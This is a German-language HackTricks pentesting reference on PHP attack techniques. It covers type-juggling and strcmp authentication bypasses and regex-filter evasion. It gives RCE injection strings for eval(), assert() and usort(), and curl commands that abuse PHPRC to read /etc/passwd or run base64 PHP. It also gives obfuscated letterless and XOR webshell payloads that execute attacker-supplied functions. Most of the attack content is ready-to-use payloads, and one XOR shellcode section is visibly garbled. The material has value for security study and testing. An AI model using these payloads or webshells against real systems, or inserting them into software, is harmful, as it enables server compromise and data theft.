hacktricks/network-services-pentesting/pentesting-web/php-tricks-esp/README.md

# PHP Tricks

<details>

<summary><strong>Lernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

Andere Möglichkeiten, HackTricks zu unterstützen:

* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks im PDF-Format herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merch**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories einreichen.

</details>

<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>

{% embed url="https://websec.nl/" %}

## Cookies common location:

Dies gilt auch für die Cookies von phpMyAdmin.

Cookies:
```
PHPSESSID
phpMyAdmin
```
Standorte:
```
/var/lib/php/sessions
/var/lib/php5/
/tmp/
Example: ../../../../../../tmp/sess_d1d531db62523df80e1153ada1d4b02e
```
## Umgehen von PHP-Vergleichen

### Lockere Vergleiche/Typumwandlung ( == )

Wenn `==` in PHP verwendet wird, gibt es unerwartete Fälle, in denen der Vergleich nicht wie erwartet funktioniert. Dies liegt daran, dass "==" nur Werte vergleicht, die in denselben Typ umgewandelt wurden. Wenn Sie auch vergleichen möchten, dass der Typ der verglichenen Daten gleich ist, müssen Sie `===` verwenden.

PHP-Vergleichstabellen: [https://www.php.net/manual/en/types.comparisons.php](https://www.php.net/manual/en/types.comparisons.php)

![](<../../../.gitbook/assets/image (564).png>)

{% file src="../../../.gitbook/assets/EN-PHP-loose-comparison-Type-Juggling-OWASP (1).pdf" %}

* `"string" == 0 -> True` Ein String, der nicht mit einer Zahl beginnt, ist gleich einer Zahl
* `"0xAAAA" == "43690" -> True` Strings, die aus Zahlen im Dezimal- oder Hexadezimalformat bestehen, können mit anderen Zahlen/Strings verglichen werden, wobei bei gleichen Zahlen das Ergebnis True ist (Zahlen in einem String werden als Zahlen interpretiert)
* `"0e3264578" == 0 --> True` Ein String, der mit "0e" beginnt und von beliebigem Text gefolgt wird, ist gleich 0
* `"0X3264578" == 0X --> True` Ein String, der mit "0" beginnt und von einem beliebigen Buchstaben gefolgt wird (X kann ein beliebiger Buchstabe sein) und von beliebigem Text gefolgt wird, ist gleich 0
* `"0e12334" == "0" --> True` Dies ist sehr interessant, da Sie in einigen Fällen die Zeichenfolgeneingabe von "0" und einige Inhalte steuern können, die gehasht und damit verglichen werden. Daher könnten Sie, wenn Sie einen Wert bereitstellen können, der einen Hash erstellt, der mit "0e" beginnt und ohne Buchstaben ist, den Vergleich umgehen. Sie können **bereits gehashte Zeichenfolgen** mit diesem Format hier finden: [https://github.com/spaze/hashes](https://github.com/spaze/hashes)
* `"X" == 0 --> True` Jeder Buchstabe in einer Zeichenfolge ist gleich der Zahl 0

Weitere Informationen unter [https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09](https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09)

### **in\_array()**

**Typumwandlung** betrifft auch die Funktion `in_array()` standardmäßig (Sie müssen das dritte Argument auf true setzen, um einen strengen Vergleich durchzuführen):
```php
$values = array("apple","orange","pear","grape");
var_dump(in_array(0, $values));
//True
var_dump(in_array(0, $values, true));
//False
```
### strcmp()/strcasecmp()

Wenn diese Funktion für **eine Authentifizierungsprüfung** verwendet wird (zum Beispiel zum Überprüfen des Passworts) und der Benutzer eine Seite des Vergleichs kontrolliert, kann er anstelle eines Strings ein leeres Array als Wert des Passworts senden (`https://example.com/login.php/?username=admin&password[]=`) und diese Prüfung umgehen:
```php
if (!strcmp("real_pwd","real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; }
// Real Password
if (!strcmp(array(),"real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; }
// Real Password
```
Der gleiche Fehler tritt bei `strcasecmp()` auf

### Strenge Typumwandlung

Auch wenn `===` **verwendet wird**, können Fehler auftreten, die den **Vergleich anfällig** für **Typumwandlung** machen. Zum Beispiel, wenn der Vergleich die Daten **in ein anderes Objekttyp umwandelt, bevor er verglichen wird**:
```php
(int) "1abc" === (int) "1xyz" //This will be true
```
### preg\_match(/^.\*/)

**`preg_match()`** könnte verwendet werden, um **Benutzereingaben zu validieren** (es **überprüft**, ob ein **Wort/Regex** aus einer **Schwarzen Liste** in der **Benutzereingabe vorhanden ist** und wenn nicht, kann der Code mit seiner Ausführung fortsetzen).

#### Umgehung einer neuen Zeile

Wenn jedoch der Anfang des Regexps begrenzt wird, überprüft `preg_match()` **nur die erste Zeile der Benutzereingabe**, dann wenn es Ihnen irgendwie gelingt, die Eingabe in **mehreren Zeilen zu senden**, könnten Sie diese Überprüfung umgehen. Beispiel:
```php
$myinput="aaaaaaa
11111111"; //Notice the new line
echo preg_match("/1/",$myinput);
//1  --> In this scenario preg_match find the char "1"
echo preg_match("/1.*$/",$myinput);
//1  --> In this scenario preg_match find the char "1"
echo preg_match("/^.*1/",$myinput);
//0  --> In this scenario preg_match DOESN'T find the char "1"
echo preg_match("/^.*1.*$/",$myinput);
//0  --> In this scenario preg_match DOESN'T find the char "1"
```
Um diese Überprüfung zu umgehen, könnten Sie den Wert mit neuen Zeilen urlcodiert (`%0A`) senden oder, wenn Sie JSON-Daten senden können, senden Sie sie in mehreren Zeilen:
```php
{
"cmd": "cat /etc/passwd"
}
```
Finden Sie ein Beispiel hier: [https://ramadistra.dev/fbctf-2019-rceservice](https://ramadistra.dev/fbctf-2019-rceservice)

#### **Längenfehlerumgehung**

(Diese Umgehung wurde anscheinend auf PHP 5.2.5 ausprobiert und ich konnte sie auf PHP 7.3.15 nicht zum Laufen bringen)\
Wenn Sie `preg_match()` eine gültige sehr **große Eingabe** senden, wird es **nicht in der Lage sein, sie zu verarbeiten** und Sie werden in der Lage sein, die Überprüfung zu **umgehen**. Zum Beispiel, wenn es ein JSON auf die Blacklist setzt, könnten Sie senden:
```bash
payload = '{"cmd": "ls -la", "injected": "'+ "a"*1000001 + '"}'
```
#### ReDoS Umgehen

Trick von: [https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-writeups/intigriti-challenges/1223](https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-writeups/intigriti-challenges/1223)

<figure><img src="../../../.gitbook/assets/image (23).png" alt=""><figcaption></figcaption></figure>

Kurz gesagt tritt das Problem auf, weil die `preg_*` Funktionen in PHP auf der [PCRE-Bibliothek](http://www.pcre.org/) aufbauen. In PCRE werden bestimmte reguläre Ausdrücke durch eine Vielzahl von rekursiven Aufrufen abgeglichen, die viel Stack-Speicher verbrauchen. Es ist möglich, ein Limit für die Anzahl der erlaubten Rekursionen festzulegen, aber in PHP liegt dieses Limit standardmäßig bei [100.000](http://php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit), was mehr ist als in den Stack passt.

In dem Beitrag wurde auch auf [diesen Stackoverflow-Thread](http://stackoverflow.com/questions/7620910/regexp-in-preg-match-function-returning-browser-error) verwiesen, in dem dieses Problem ausführlicher behandelt wird. Unsere Aufgabe war nun klar:\
**Senden Sie eine Eingabe, die dazu führt, dass der Regex 100.000+ Rekursionen durchführt, einen SIGSEGV verursacht, die `preg_match()`-Funktion `false` zurückgibt und die Anwendung denkt, dass unsere Eingabe nicht bösartig ist. Am Ende des Payloads wird dann etwas Überraschendes wie `{system(<verybadcommand>)}` eingefügt, um SSTI --> RCE --> Flag zu erhalten :)**.

Nun, in Regex-Terminologie führen wir tatsächlich keine 100.000 "Rekursionen" durch, sondern zählen stattdessen "Backtracking-Schritte", die wie in der [PHP-Dokumentation](https://www.php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) angegeben standardmäßig auf 1.000.000 (1M) in der Variable `pcre.backtrack_limit` festgelegt sind.\
Um dies zu erreichen, führt `'X'*500_001` zu 1 Million Backtracking-Schritten (500k vorwärts und 500k rückwärts):
```python
payload = f"@dimariasimone on{'X'*500_001} {{system('id')}}"
```
### Typenjonglierung zur PHP-Verschleierung
```php
$obfs = "1"; //string "1"
$obfs++; //int 2
$obfs += 0.2; //float 2.2
$obfs = 1 + "7 IGNORE"; //int 8
$obfs = "string" + array("1.1 striiing")[0]; //float 1.1
$obfs = 3+2 * (TRUE + TRUE); //int 7
$obfs .= ""; //string "7"
$obfs += ""; //int 7
```
## Ausführen nach der Weiterleitung (EAR)

Wenn PHP zu einer anderen Seite umleitet, aber keine **`die`** oder **`exit`** Funktion aufgerufen wird, **nachdem der Header `Location` gesetzt wurde**, wird PHP fortgesetzt und fügt die Daten dem Body hinzu:
```php
<?php
// In this page the page will be read and the content appended to the body of
// the redirect response
$page = $_GET['page'];
header('Location: /index.php?page=default.html');
readfile($page);
?>
```
## Pfadtraversierung und Dateieinschluss-Exploitation

Überprüfen Sie:

{% content-ref url="../../../pentesting-web/file-inclusion/" %}
[file-inclusion](../../../pentesting-web/file-inclusion/)
{% endcontent-ref %}

## Weitere Tricks

* **register\_globals**: In **PHP < 4.1.1.1** oder bei falscher Konfiguration kann **register\_globals** aktiv sein (oder ihr Verhalten wird nachgeahmt). Dies bedeutet, dass in globalen Variablen wie $\_GET, wenn sie einen Wert haben, z.B. $\_GET\["param"]="1234", darauf zugegriffen werden kann über **$param**. Daher können durch Senden von HTTP-Parametern **Variablen überschrieben werden**, die im Code verwendet werden.
* Die **PHPSESSION-Cookies der gleichen Domain werden am selben Ort gespeichert**, daher, wenn innerhalb einer Domain **unterschiedliche Cookies in verschiedenen Pfaden** verwendet werden, können Sie einen Pfad so einrichten, dass er auf das Cookie des Pfads zugreift, indem Sie den Wert des Cookies des anderen Pfads setzen. Auf diese Weise können Sie, wenn **beide Pfade auf eine Variable mit demselben Namen zugreifen**, den **Wert dieser Variablen in Pfad1 auf Pfad2 anwenden**. Dann werden die Variablen von Pfad1 als gültig für Pfad2 angesehen (indem dem Cookie der Name gegeben wird, der ihm in Pfad2 entspricht).
* Wenn Sie die **Benutzernamen** der Benutzer des Geräts haben. Überprüfen Sie die Adresse: **/\~\<USERNAME>**, um zu sehen, ob die PHP-Verzeichnisse aktiviert sind.
* [**LFI und RCE mit php-Wrappern**](../../../pentesting-web/file-inclusion/)

### password\_hash/password\_verify

Diese Funktionen werden typischerweise in PHP verwendet, um **Hashes aus Passwörtern zu generieren** und zu überprüfen, ob ein Passwort mit einem Hash übereinstimmt.\
Die unterstützten Algorithmen sind: `PASSWORD_DEFAULT` und `PASSWORD_BCRYPT` (beginnt mit `$2y$`). Beachten Sie, dass **PASSWORD\_DEFAULT** häufig dasselbe wie **PASSWORD\_BCRYPT** ist. Und derzeit hat **PASSWORD\_BCRYPT** eine **Größenbeschränkung für die Eingabe von 72 Bytes**. Wenn Sie also versuchen, etwas Größeres als 72 Bytes mit diesem Algorithmus zu hashen, werden nur die ersten 72 Bytes verwendet:
```php
$cont=71; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
False

$cont=72; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
True
```
### HTTP-Header-Bypass durch Ausnutzung von PHP-Fehlern

Wenn eine **PHP-Seite Fehler druckt und einige vom Benutzer bereitgestellte Eingaben ausgibt**, kann der Benutzer die PHP-Server dazu bringen, einige **Inhalte lang genug** zurückzugeben, sodass, wenn er versucht, **die Header** in die Antwort hinzuzufügen, der Server einen Fehler wirft.\
In dem folgenden Szenario hat der **Angreifer den Server dazu gebracht, einige große Fehler zu werfen**, und wie Sie auf dem Bildschirm sehen können, als PHP versuchte, **die Header-Informationen zu ändern, konnte es nicht** (beispielsweise wurde der CSP-Header nicht an den Benutzer gesendet):

![](<../../../.gitbook/assets/image (1082).png>)

## Code-Ausführung

**system("ls");**\
**\`ls\`;**\
**shell\_exec("ls");**

[Überprüfen Sie dies für weitere nützliche PHP-Funktionen](php-useful-functions-disable\_functions-open\_basedir-bypass/)
```php
preg_replace(pattern,replace,base)
preg_replace("/a/e","phpinfo()","whatever")
```
Um den Code im "ersetzen" Argument auszuführen, ist mindestens ein Treffer erforderlich.\
Diese Option von preg\_replace wurde **ab PHP 5.5.0 als veraltet markiert.**

### **RCE über Eval()**
```
'.system('uname -a'); $dummy='
'.system('uname -a');#
'.system('uname -a');//
'.phpinfo().'
<?php phpinfo(); ?>
```
### **RCE über Assert()**

Diese Funktion in PHP ermöglicht es Ihnen, **Code auszuführen, der in einem String geschrieben ist**, um **true oder false zurückzugeben** (und je nachdem die Ausführung zu ändern). Normalerweise wird die Benutzervariable in der Mitte eines Strings eingefügt. Zum Beispiel:\
`assert("strpos($_GET['page']),'..') === false")` --> In diesem Fall könnten Sie **RCE** erreichen, indem Sie:
```
?page=a','NeVeR') === false and system('ls') and strpos('a
```
Sie müssen den Code **unterbrechen**, die **Syntax** des Codes **hinzufügen** und dann ihn wieder **reparieren**. Sie können **Logikoperationen** wie "**and**" oder "%26%26" oder "|" verwenden. Beachten Sie, dass "or" oder "||" nicht funktionieren, da wenn die erste Bedingung wahr ist, unser Payload nicht ausgeführt wird. Ebenso funktioniert ";" nicht, da unser Payload nicht ausgeführt wird.

**Eine andere Option** ist, zur Zeichenfolge die Ausführung des Befehls hinzuzufügen: `'.highlight_file('.passwd').'`

**Eine andere Option** (wenn Sie den internen Code haben) besteht darin, eine Variable zu ändern, um die Ausführung zu ändern: `$file = "hola"`

### **RCE über usort()**

Diese Funktion wird verwendet, um ein Array von Elementen mithilfe einer spezifischen Funktion zu sortieren.\
Um diese Funktion zu missbrauchen:
```php
<?php usort(VALUE, "cmp"); #Being cmp a valid function ?>
VALUE: );phpinfo();#

<?php usort();phpinfo();#, "cmp"); #Being cmp a valid function ?>
```

```php
<?php
function foo($x,$y){
usort(VALUE, "cmp");
}?>
VALUE: );}[PHP CODE];#

<?php
function foo($x,$y){
usort();}phpinfo;#, "cmp");
}?>
```
### **RCE über .httaccess**

Wenn Sie eine **.htaccess** **hochladen** können, können Sie mehrere Dinge **konfigurieren** und sogar Code ausführen (Konfigurieren von Dateien mit der Erweiterung .htaccess, die **ausgeführt** werden können).

Verschiedene .htaccess-Shells finden Sie [hier](https://github.com/wireghoul/htshells)

### RCE über Umgebungsvariablen

Wenn Sie eine Schwachstelle finden, die es Ihnen ermöglicht, **Umgebungsvariablen in PHP zu ändern** (und eine weitere zum Hochladen von Dateien, obwohl dies möglicherweise umgangen werden kann), könnten Sie dieses Verhalten missbrauchen, um **RCE** zu erhalten.

* [**`LD_PRELOAD`**](../../../linux-hardening/privilege-escalation/#ld\_preload-and-ld\_library\_path): Diese Umgebungsvariable ermöglicht das Laden beliebiger Bibliotheken beim Ausführen anderer Binärdateien (obwohl dies in diesem Fall möglicherweise nicht funktioniert).
* **`PHPRC`** : Weist PHP an, **wo seine Konfigurationsdatei** zu finden ist, normalerweise `php.ini` genannt. Wenn Sie Ihre eigene Konfigurationsdatei hochladen können, verwenden Sie `PHPRC`, um PHP darauf zu verweisen. Fügen Sie einen **`auto_prepend_file`** Eintrag hinzu, der eine zweite hochgeladene Datei angibt. Diese zweite Datei enthält normalen **PHP-Code, der dann vom PHP-Laufzeitumgebung vor jedem anderen Code ausgeführt wird**.
1. Laden Sie eine PHP-Datei hoch, die unseren Shellcode enthält
2. Laden Sie eine zweite Datei hoch, die eine **`auto_prepend_file`**-Direktive enthält, die den PHP-Präprozessor anweist, die Datei auszuführen, die wir im ersten Schritt hochgeladen haben
3. Setzen Sie die Variable `PHPRC` auf die Datei, die wir im zweiten Schritt hochgeladen haben.
* Erhalten Sie weitere Informationen zur Ausführung dieser Kette [**aus dem Originalbericht**](https://labs.watchtowr.com/cve-2023-36844-and-friends-rce-in-juniper-firewalls/).
* **PHPRC** - eine weitere Option
* Wenn Sie **keine Dateien hochladen können**, könnten Sie in FreeBSD die "Datei" `/dev/fd/0` verwenden, die den **`stdin`** enthält, der den **Body** der Anfrage darstellt, die an den `stdin` gesendet wird:
* `curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary 'auto_prepend_file="/etc/passwd"'`
* Oder um RCE zu erhalten, aktivieren Sie **`allow_url_include`** und fügen Sie eine Datei mit **base64 PHP-Code** voran:
* `curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary $'allow_url_include=1\nauto_prepend_file="data://text/plain;base64,PD8KICAgcGhwaW5mbygpOwo/Pg=="'`
* Technik [**aus diesem Bericht**](https://vulncheck.com/blog/juniper-cve-2023-36845).

## PHP Statische Analyse

Schauen Sie, ob Sie Code in Aufrufe dieser Funktionen einfügen können (von [hier](https://www.youtube.com/watch?v=SyWUsN0yHKI\&feature=youtu.be)):
```php
exec, shell_exec, system, passthru, eval, popen
unserialize, include, file_put_cotents
$_COOKIE | if #This mea
```
Wenn Sie eine PHP-Anwendung debuggen, können Sie das Fehlerdrucken global in `/etc/php5/apache2/php.ini` aktivieren, indem Sie `display_errors = On` hinzufügen und Apache neu starten: `sudo systemctl restart apache2`

### Entschleierung von PHP-Code

Sie können die **Webseite**[ **www.unphp.net**](http://www.unphp.net) **verwenden, um PHP-Code zu entschlüsseln.**

## PHP-Wrapper & Protokolle

PHP-Wrapper und Protokolle könnten es Ihnen ermöglichen, **Schreib- und Leseschutzmechanismen zu umgehen** und das System zu kompromittieren. Für [**weitere Informationen besuchen Sie diese Seite**](../../../pentesting-web/file-inclusion/#lfi-rfi-using-php-wrappers-and-protocols).

## Xdebug nicht authentifizierter RCE

Wenn Sie feststellen, dass **Xdebug** in einer `phpconfig()`-Ausgabe **aktiviert** ist, sollten Sie versuchen, RCE über [https://github.com/nqxcode/xdebug-exploit](https://github.com/nqxcode/xdebug-exploit) zu erhalten

## Variable Variablen
```php
$x = 'Da';
$$x = 'Drums';

echo $x; //Da
echo $$x; //Drums
echo $Da; //Drums
echo "${Da}"; //Drums
echo "$x ${$x}"; //Da Drums
echo "$x ${Da}"; //Da Drums
```
## RCE Missbrauch von neuem $\_GET\["a"]\($\_GET\["b"])

Wenn Sie auf einer Seite **ein neues Objekt einer beliebigen Klasse erstellen können**, könnten Sie RCE erhalten. Überprüfen Sie die folgende Seite, um zu erfahren, wie:

{% content-ref url="php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md" %}
[php-rce-abusing-object-creation-new-usd\_get-a-usd\_get-b.md](php-rce-abusing-object-creation-new-usd\_get-a-usd\_get-b.md)
{% endcontent-ref %}

## PHP ohne Buchstaben ausführen

[https://securityonline.info/bypass-waf-php-webshell-without-numbers-letters/](https://securityonline.info/bypass-waf-php-webshell-without-numbers-letters/)

### Verwendung von Oktalzahlen
```php
$_="\163\171\163\164\145\155(\143\141\164\40\56\160\141\163\163\167\144)"; #system(cat .passwd);
```
### **XOR**

XOR (exklusives Oder) ist eine Bitweise Operation, die in der Kryptographie und im Pentesting häufig verwendet wird. Es wird verwendet, um Daten zu verschlüsseln und zu entschlüsseln, indem ein Schlüssel auf die Daten angewendet wird. XOR ist eine schnelle und effiziente Möglichkeit, Daten zu manipulieren, und wird oft in Exploits und Payloads verwendet.
```php
$_=("%28"^"[").("%33"^"[").("%34"^"[").("%2c"^"[").("%04"^"[").("%28"^"[").("%34"^"[").("%2e"^"[").("%29"^"[").("%38"^"[").("%3e"^"["); #show_source
$__=("%0f"^"!").("%2f"^"_").("%3e"^"_").("%2c"^"_").("%2c"^"_").("%28"^"_").("%3b"^"_"); #.passwd
$___=$__; #Could be not needed inside eval
$_($___); #If ¢___ not needed then $_($__), show_source(.passwd)
```
### XOR einfacher Shell-Code

Gemäß [**diesem Bericht**](https://mgp25.com/ctf/Web-challenge/) ist es auf folgende Weise möglich, einen einfachen Shellcode zu generieren:
```php
$_="`{{{"^"?<>/"; // $_ = '_GET';
${$_}[_](${$_}[__]); // $_GET[_]($_GET[__]);

$_="`{{{"^"?<>/";${$_}[_](${$_}[__]); // $_ = '_GET'; $_GET[_]($_GET[__]);
```
So, wenn Sie **beliebiges PHP ohne Zahlen und Buchstaben ausführen können**, können Sie eine Anfrage wie die folgende senden, um diesen Payload zu missbrauchen und beliebiges PHP auszuführen:
```
POST: /action.php?_=system&__=cat+flag.php
Content-Type: application/x-www-form-urlencoded

comando=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);
```
Für eine ausführlichere Erklärung siehe [https://ctf-wiki.org/web/php/php/#preg\_match](https://ctf-wiki.org/web/php/php/#preg\_match)

### XOR Shellcode (innerhalb von eval)
```bash
#!/bin/bash

if [[ -z $1 ]]; then
echo "USAGE: $0 CMD"
exit
fi

CMD=$1
CODE="\$_='\
```

```php
lt;>/'^'{{{{';\${\$_}[_](\${\$_}[__]);" `$_='
```

```php
lt;>/'^'{{{{'; --> _GET` `${$_}[_](${$_}[__]); --> $_GET[_]($_GET[__])` `So, the function is inside $_GET[_] and the parameter is inside $_GET[__]` http --form POST "http://victim.com/index.php?_=system&__=$CMD" "input=$CODE"
```
### Ähnlich wie Perl
```php
<?php
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;

$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;

$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);
```
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>

{% embed url="https://websec.nl/" %}

<details>

<summary><strong>Erlernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

Andere Möglichkeiten, HackTricks zu unterstützen:

* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks im PDF-Format herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github Repositories einreichen.

</details>